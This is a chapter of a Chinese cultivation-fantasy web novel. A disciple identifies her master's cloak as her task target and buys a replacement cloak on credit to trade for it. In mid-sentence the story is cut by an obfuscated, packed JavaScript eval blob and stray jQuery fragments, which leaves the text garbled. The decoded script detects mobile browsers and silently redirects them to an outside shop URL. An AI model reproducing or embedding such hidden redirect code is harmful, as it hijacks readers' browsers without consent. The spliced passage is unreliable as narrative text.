祝阴客拧眉,不说话。
周葵就暗戳戳转到他身后去,仔细瞄大氅和毛领子之间的缝隙:“我只想要毛领子,不要衣服,这个就够了,看上去是可以拆的。”
祝阴客面无表情看她:“你冷?”
“我不冷!”周葵把篮子盖打开一半给他看,“可师父现在就是只普通的鸟,肯定会冷,我知道祝师父你也怕冷,我只借你的毛领子,等师父变回来就还给你。”
祝阴客其实很想告诉她并不会,但看着周葵的样子,他觉得这事不答应就没完,抬手就把大氅拆了,把毛领子扔给周葵。
他搞不懂这个弟子每天脑子里都在想些什么。
周葵接到毛领子,抱了一怀,简直兴奋极了:“谢谢祝师父。”那一手细腻蓬松的毛,周葵忍不住偷偷摸了一把。
祝阴客忽然说:“这条领子是大狐狸妖变的,小心咬你一口。”
周葵差点被吓一跳,修真界这么可怕吗?可以用狐妖做领子?然后周葵就瞥见祝阴客略微怪异的脸色,整体还是平日的冷脸,可怎么瞧怎么觉得……有点得意?
周葵简直觉得离谱:“你骗我?”
祝阴客毫无异样:“这是警告,领子是我借给你师父的,你不许乱摸。”
周葵实在想不到祝阴客竟然还有开玩笑的一天,她震惊得有些茫然,实在不知道怎么继续辩驳,她都不知道怎么面对祝阴客,干脆转身去布置她的鸟窝。
把毛领子在小篮子里铺满,然后留下一截子当被子,再把师父放进去,盖上盖子,周葵觉得这回应该不会冷了。
然后周葵想了想把篮子放在哪儿,灵机一动直接放进了祝阴客的卧室,这样她到时候还可以用看师父的借口进来找东西,简直妙极了。
周葵放好篮子出来:“祝师父,我收拾完了,我们继续练武吧!”
祝阴客也懒得戳穿她那点小心思,在竹椅上坐下来:“随你。”
周葵也没指望他说出点什么,祝阴客之前就没什么可以教的了,周葵这段时间都是非说自己没有学会要练习,硬赖在这里的。
周葵今天也一样,说完就开始自己练招,但今天跟之前还有些不一样,周葵练一会儿,就进去看看师父,再抓紧时间继续翻找目标。
一天快过去,周葵依旧没有头绪,中间还好几次差点看师父看得忘了时间。
周葵恼恨自己玩物丧志,一点没有紧迫感,明天可就是任务的最后一天了,她怎么能如此堕落,再不找着任务就真的完蛋了!
可周葵又觉得,自己其实挺努力在找了,祝师父这个院子里里外外哪里没被她翻过千百遍,有只蚂蚁都该找着了,可偏偏这里除了杀人武器真的就什么都没有。
这不应该啊?
就连昨晚她冒险诈一下,也什么都没诈出来,祝师父出门的时候手上什么都没拿……
等等!周葵忽然如梦惊醒,手上拿着的东西?
祝师父当时出来的时候手上不是什么都没拿,他拽着大氅跑出来的,出来就把大氅披上了。
这么看,难道大氅是最重要的东西?
周葵简直觉得自己发现了修仙界未解之谜,主要是这地方除了那些武器,就只有那件大氅有点来头了。
要是按照他天天不离身的操作,那确实也应该是最重要的东西了。
周葵觉得自己这个想法很离谱,又觉得很合理,她觉得自己脑子里有一百个小人在争吵。
周葵蹲那儿挣扎许久,霍地起身,直接去问祝阴客:“祝师父,你的大氅是哪里来的啊?”
石破天惊一声,祝阴客都被她吓了一跳。
祝阴客看她:“我应该跟掌事堂说一声,给你们加一门礼教课。”
周葵干笑:“加课就不用了吧,我以后会记住的。”她试探悄悄问,“祝师父,那件大氅是别人送你的吗?”
她隐约觉得,以祝阴客的脾气,住这种地方也不搬走,整个屋子里也就那一件大氅,不太像是他自己置办的。
祝阴客挫败靠回去:“师父留下的,掌门师兄给了我。”
周葵是第一次从他口中听到师父这一个词,还有他喊掌门是掌门师兄,她记得剑仙师父也是这么喊的。
她之前就觉得这几个人关系不一般,她问:“祝师父,你跟掌门、剑仙师父还有游长老,你们是一个师父吗?”
祝阴客没回答,但这意思很明显,他默认了。
周葵难以想象究竟是一位什么样的师父,才能教出这几个不同方向的大佬,光收这几个性格奇奇怪怪的人就很奇怪了,更别说还都教得出来,绝对也是一位奇人啊。
周葵现在问下来,已经确定目标就是大氅了。
她寻寻觅觅那么久,谁想到这东西来这里的第一晚就盖在自己身上。
关键是,谁能想到天天穿的衣服是目标啊。
周葵目光不受控制落在他的大氅上,她是知道祝师父需要大氅御寒的,而她刚刚拿走了人家的毛领子,现在竟然还要把剩下的也一起拿走吗?
这未免太丧心病狂了。
周葵问不出口。
周葵最后也没下定决心,神情恍惚结束了今天的修行,抱着篮子离开,她出院子的时候,祝阴客好像喊了她一声,但她现在实在不敢再听祝阴客的声音,她怕自己薄弱的道德直接破灭。
周葵拔腿就跑。
周葵狂奔回含章峰,暗想她难道要跟自己的历鉴镜说再见了吗?就差最后一步了啊!实在太可惜了。
周葵抱着篮子坐在床边,里面师父还在睡,周葵看了会儿,安心地倒回床上,她想,她还有师父,还有同门,一块破镜子而已,没有难道她就做不成事了吗?
周葵迷迷糊糊的时候,听见敲木头的声音,她一把爬起来:“师父,你就算变成鸟也不能吃木头,会吃坏肚子的!”
然后从窗户口跟外面敲门的晏开阳对上了眼,转头,师父依旧在篮子里睡得一动不动,周葵尴尬半天,打了个招呼:“小长老?”
晏开阳收回手:“现在又不喊我晏师兄了?”
周葵十分坦然:“你要是不欺负人,我肯定天天喊你晏师兄。”
晏开阳笑起来:“是吗?”然后他慢悠悠抖出一件绿雀金大氅,一色的蓝绿相互映照,仿佛面前真有只开屏孔雀,“这么爱记仇,那这衣服你不要了吗?”
周葵眼前一亮,对哦,她要是拿一件大氅过去,换祝师父身上的几天,应该是可以换到的,毕竟一开始都肯给她盖了。
可一想到衣服是谁的,她有陷入挣扎,她怎么都不想跟晏开阳认输,想半天,说:“我用筹数跟你换。”
“你已经欠了我七年。”
周葵硬着头皮:“债多不愁。”她说完,其实也没底,她不知道晏开阳会不会同意。
周葵忽然发觉,怎么她跟她师父都是欠债的命,他们含章峰就没有一个会赚钱的吗?
晏开阳在周葵忐忑的眼神里思考一阵,故意拖长调子:“这样的话……也行。”
周葵惊喜:“真的?”她竟然诡异地觉得晏开阳还挺好说话的,“多少筹?”
晏开阳心算一阵:“师妹你放心,你有了历鉴镜,肯定越往后筹数赚得越多,我大致给你算算,画和衣服加起来,总共也不过就白干八年。”
周葵难以置信:“一件衣服要干一年?”
晏开阳不紧不慢收好衣服:“这衣服可是有疗伤的效果,一件也难寻,罢了,师妹不要也行,那我这就走了。”作势就要走。
周葵赶紧拦住,沉痛应下:“八年就八年,”她问,“真能疗伤?”
“师妹,同在蜀山过日子,我骗你做什么?”晏开阳麻溜再次拿出一张契约,“师妹,签吧。”
周葵签字的时候,总觉得自己像在签什么卖身契,心里实在没着没落,总担心下一秒晏开阳就要坑她。
签好以后,晏开阳拿走契约,还不忘把衣服妥帖收进盒子里再交给周葵,笑得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12996889|137160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
格外满意:“师妹,有需要尽管再来找我,跟你做买卖,师兄是乐意的。”
周葵觉得,自己讨厌他完全是非常合理的。
***
周葵第二天一手拎师父,一手拎新大氅去找祝阴客,她是觉得衣服很漂亮的,还是个疗伤的宝贝,可走到门口才意识到,祝阴客可能不喜欢这种。
周葵忽然有点怂,思考怎么劝祝阴客,反反复复在门口背了好多次遍词才进去。
一见祝阴客,词忘光了,周葵说:“祝师父,换衣服!”
祝阴客瞧她同手同脚的模样,想说什么还是没开口,接过衣服就进屋里。
门一关,周葵立马更忐忑了,她偷偷打开小篮子看师父,看会儿总算平静下来。
祝阴客出来,周葵赶紧抬头,差点没被那身雀金大氅晃瞎眼。
祝阴客脸僵硬得跟块铁板一样:“你那儿只有一件衣服吗?”
周葵赶紧劝他:“祝师父,很好看的!”是真的很好看,祝阴客人偏冷感的白,黑色压在身上,人就显得阴郁,可这身亮色一衬,反倒有了浑然天成的贵气。
至少现在走出去,不会吓哭路边的小孩子了。
祝阴客脸色更不自然:“你不需要送我这个,我那件借给你。”
周葵直接按住他的手:“不行,你冷了怎么办!你伤还没好,怎么能吹风,这个还能疗伤,你穿上很快就能好了。你不穿,我不会拿走你原来那件的。”
祝阴客的眉心紧得能夹死一只蚊子:“随你,你爱拿不拿。”然后就脱了衣服。
周葵也说话算话,虽然不舍,但抱起衣服就走,半点不带含糊。就是衣服怎么都叠不进盒子里,不知道晏开阳怎么叠的,周葵没办法,干脆也不装了,抱着雀金大氅,手上一提师父就走。
她闷头走出去好久,有点委屈,又觉得自己确实没想清楚对方的喜好,这是她的不对,看来这回的筹数要泡汤了。
周葵走着走着,忽然想起来什么,赶紧跑回去,差点跟门口的祝阴客撞一块。
周葵抱着大氅,就露出个眼睛跟祝阴客对视,祝阴客先不耐烦了:“回来干什么?”
周葵这才赶紧开口:“祝师父,我刚刚差点忘了,明天就要开始修炼了,我不能过来了。”
祝阴客无可无不可:“我知道。”
周葵继续说:“那这段时间我就不过来了,等我下次做任务,再来看你。”
不等祝阴客拒绝,周葵赶紧说:“反正不管你认不认,你教我招数,就是我师父,我会照顾你的,给你上药,你有事也可以来含章峰找我,师父交代徒弟办事,这也是天经地义的,不要不好意思。”
周葵说完,想了想没什么了,不过她瞄着祝阴客那张脸,又有了些一直憋着的话,反正马上就分开了,周葵瞄准时机一口气说:“祝师父,我这就走了,你有空记得来找我啊,不要一个人老闷在屋子里,你就是不晒太阳才那么白的,整个蜀山就你最白了。”
说完之后,拔腿就跑。
然后周葵跑着跑着,发现自己腾空了,周葵惊恐担忧自己要被算总账了。
周葵瑟瑟发抖,却发现手里的雀金大氅被人拽走,丢过来一件漆黑的大氅来,然后,后面院子大门啪地关上了。
周葵重新落回地面,站在那儿迷茫,这是什么意思?
周葵回头看看禁闭的远门,试探回去问:“祝师父,你愿意穿了?”
祝阴客不回话,周葵也就那么等着,里面祝阴客才不情不愿嗯了声,周葵开心地冒小花。
“太好了,这件衣服用了我整整一年的筹数呢,祝师父你不穿实在太可惜了。”她提醒,“你这件过几天记得去找刘长老拿,其他长老应该也都在,你们一起聊聊天多好。”
周葵又絮絮叨叨半天,才终于心满意足抱着大氅离开。
而周葵走了,祝阴客才终于打开了门,他抱着件花里胡哨的衣服,一脸未散的恼怒,他想,他到底在干什么?